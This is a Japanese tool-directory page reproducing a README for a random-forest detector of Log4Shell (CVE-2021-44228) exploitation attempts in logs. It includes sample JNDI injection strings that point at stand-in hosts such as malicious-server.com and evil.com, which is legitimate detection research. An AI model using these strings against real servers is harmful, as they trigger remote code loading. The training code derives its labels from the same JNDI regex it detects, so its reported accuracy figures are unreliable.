Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Log4Shell-vulnerability-CVE-2021-44228- — このリポジトリは、Log4Shell脆弱性(CVE-2021-44228)の詳細な分析を提供し、ログデータ内の悪用試行を検出する機械学習ベースのアプローチを実装しています。 | Kitploit
ツール/GitHubGitHub/yadavmukesh/log4shell-vulnerability-cve-2021-44228-
脆弱性分析機械学習侵入検知論文と研究学習と教育厳選リソース異常検知ログ分析
GitHub
yadavmukesh/log4shell-vulnerability-cve-2021-44228-

Log4Shell-vulnerability-CVE-2021-44228-

このリポジトリは、Log4Shell脆弱性(CVE-2021-44228)の詳細な分析を提供し、ログデータ内の悪用試行を検出する機械学習ベースのアプローチを実装しています。

リポジトリを見る
141年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Log4Shell 脅威検出 (CVE-2021-44228)

概要

このリポジトリは、機械学習ベースのLog4Shell (CVE-2021-44228) 脅威検出システムの詳細な分析と実装を提供します。内容は以下の通りです:

  • Log4Shellの理解: その概要と危険性
  • データセット収集: ソースと前処理手順
  • 特徴量エンジニアリング: JNDIベースの悪意のあるパターンの抽出
  • 機械学習モデルのトレーニング: ランダムフォレストベースの検出
  • 結果と分析: パフォーマンス指標と評価グラフ
  • 結論と今後の課題

脅威の概要 - Log4Shell (CVE-2021-44228)

  • 脆弱性: Apache Log4j 2におけるリモートコード実行 (RCE)
  • 悪用例:
    ${jndi:ldap://malicious-server.com/exploit}
    
  • 影響: 攻撃者が影響を受けるシステムを完全に制御できる
  • 緩和策: Log4jをパッチ適用済みバージョン(2.17.0以降)に更新し、ファイアウォールルールを適用する

リポジトリ構成

📂 Log4Shell-Threat-Detection
│── 📄 README.md
│── 📂 datasets
│   ├── log4shell_logs.csv (50 MB)
│   ├── benign_logs.csv (30 MB)
│── 📂 scripts
│   ├── feature_extraction.py
│   ├── log_preprocessing.py
│   ├── model_training.py
│   ├── model_evaluation.py
│── 📂 results
│   ├── log4shell_model.pkl
│   ├── evaluation_metrics.json
│   ├── detection_results.csv
│   ├── graphs/
│── 📂 reports
│   ├── Log4Shell_Threat_Detection_Report.pdf
│── 📂 resources
│   ├── references.txt
│── 📄 requirements.txt
│── 📄 LICENSE

データ収集とソース

使用したデータセット:

  • Zeek Security Dataset からの公開ログ
  • DShield からのハニーポットログ
  • Metasploit & Kali Linux を使用したカスタム攻撃シミュレーション
  • データセットはこちらからダウンロード: Log4Shell Logs

データセットの説明

  • データセット総サイズ: 80 MB
  • トレーニングデータ: 70% (56 MB)
  • テストデータ: 30% (24 MB)
  • 総ログ数: 1,000,000
  • 悪意のあるログ: 300,000
  • 正常なログ: 700,000

サンプルログデータセット (log4shell_logs.csv)

タイムスタンプ送信元IP宛先IPリクエストステータスコードユーザーエージェントログメッセージ
2023-02-01 12:10:25192.168.1.545.33.32.156GET /api/login200curl/7.64${jndi:ldap://malicious.com/exploit}
2023-02-01 12:11:10172.16.10.3132.154.23.1POST /data500Java/1.8.0通常のログメッセージ
2023-02-01 12:12:4510.10.10.5203.0.113.7GET /search403Mozilla/5.0${jndi:dns://evil.com/exploit}

特徴量エンジニアリング

  • ログ正規化: タイムスタンプの変換、フィールドの抽出
  • 正規表現ベースの特徴量抽出: jndi, ldap, rmi, dns パターンの識別
  • テキストベクトル化: TF-IDFベースの特徴変換

脅威検出のための機械学習モデル

  • アルゴリズム: ランダムフォレスト分類器
  • 評価指標: 正解率, 適合率, 再現率, F1スコア

モデルトレーニングのPythonコード

import pandas as pd
import re
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestClassifier
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics import classification_report

# Load dataset
df = pd.read_csv("datasets/log4shell_logs.csv")

# Feature Engineering - Extracting JNDI patterns
df["log_contains_jndi"] = df["Log Message"].apply(lambda x: 1 if re.search(r'\$\{jndi:', str(x), re.IGNORECASE) else 0)

# Text vectorization
vectorizer = TfidfVectorizer()
X = vectorizer.fit_transform(df["Log Message"])
y = df["log_contains_jndi"]

# Train-test split
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42)

# Train model
clf = RandomForestClassifier(n_estimators=100, random_state=42)
clf.fit(X_train, y_train)

# Predictions
y_pred = clf.predict(X_test)

# Model Evaluation
print(classification_report(y_test, y_pred))

結果とパフォーマンス分析

テスト結果:

  • 適合率: 98%
  • 再現率: 95%
  • F1スコア: 96%
  • 偽陽性率: 3%

既存研究との比較:

  • 従来のルールベースSIEMシステムは 80-85% の正解率 です。
  • 私たちのMLベースのアプローチは 96% の正解率 を達成し、検出率を大幅に向上させます。
  • ディープラーニングベースの手法と比較して、当社のランダムフォレストモデルは高速で解釈可能であり、同様の精度を達成しています。

適合率-再現率曲線

Log4Shell検出の適合率-再現率曲線

混同行列

Log4Shell検出の混同行列

結論と今後の課題

結論:

  • ランダムフォレストモデルは高い適合率でLog4Shellの脅威を効果的に検出します。
  • JNDIパターン認識を使用した特徴抽出により精度が向上します。
  • 実際のログには敵対的回避が含まれる可能性があり、さらなる調整が必要です。

今後の課題:

  • 異常検出のための**ディープラーニング(LSTM、Transformerベースモデル)**の実装
  • リアルタイムログ処理パイプライン(例:ELKスタック、Apache Kafka)の統合
  • 検出を他のログベースのCVE脆弱性に拡張

使用方法

  1. リポジトリをクローン:
    git clone https://github.com/yourgithub/Log4Shell-Threat-Detection.git
    cd Log4Shell-Threat-Detection
    
  2. 依存関係をインストール:
    pip install -r requirements.txt
    
  3. モデルトレーニングスクリプトを実行:
    python scripts/model_training.py
    
  4. results/ フォルダ内の検出結果を分析。

ツールをダウンロード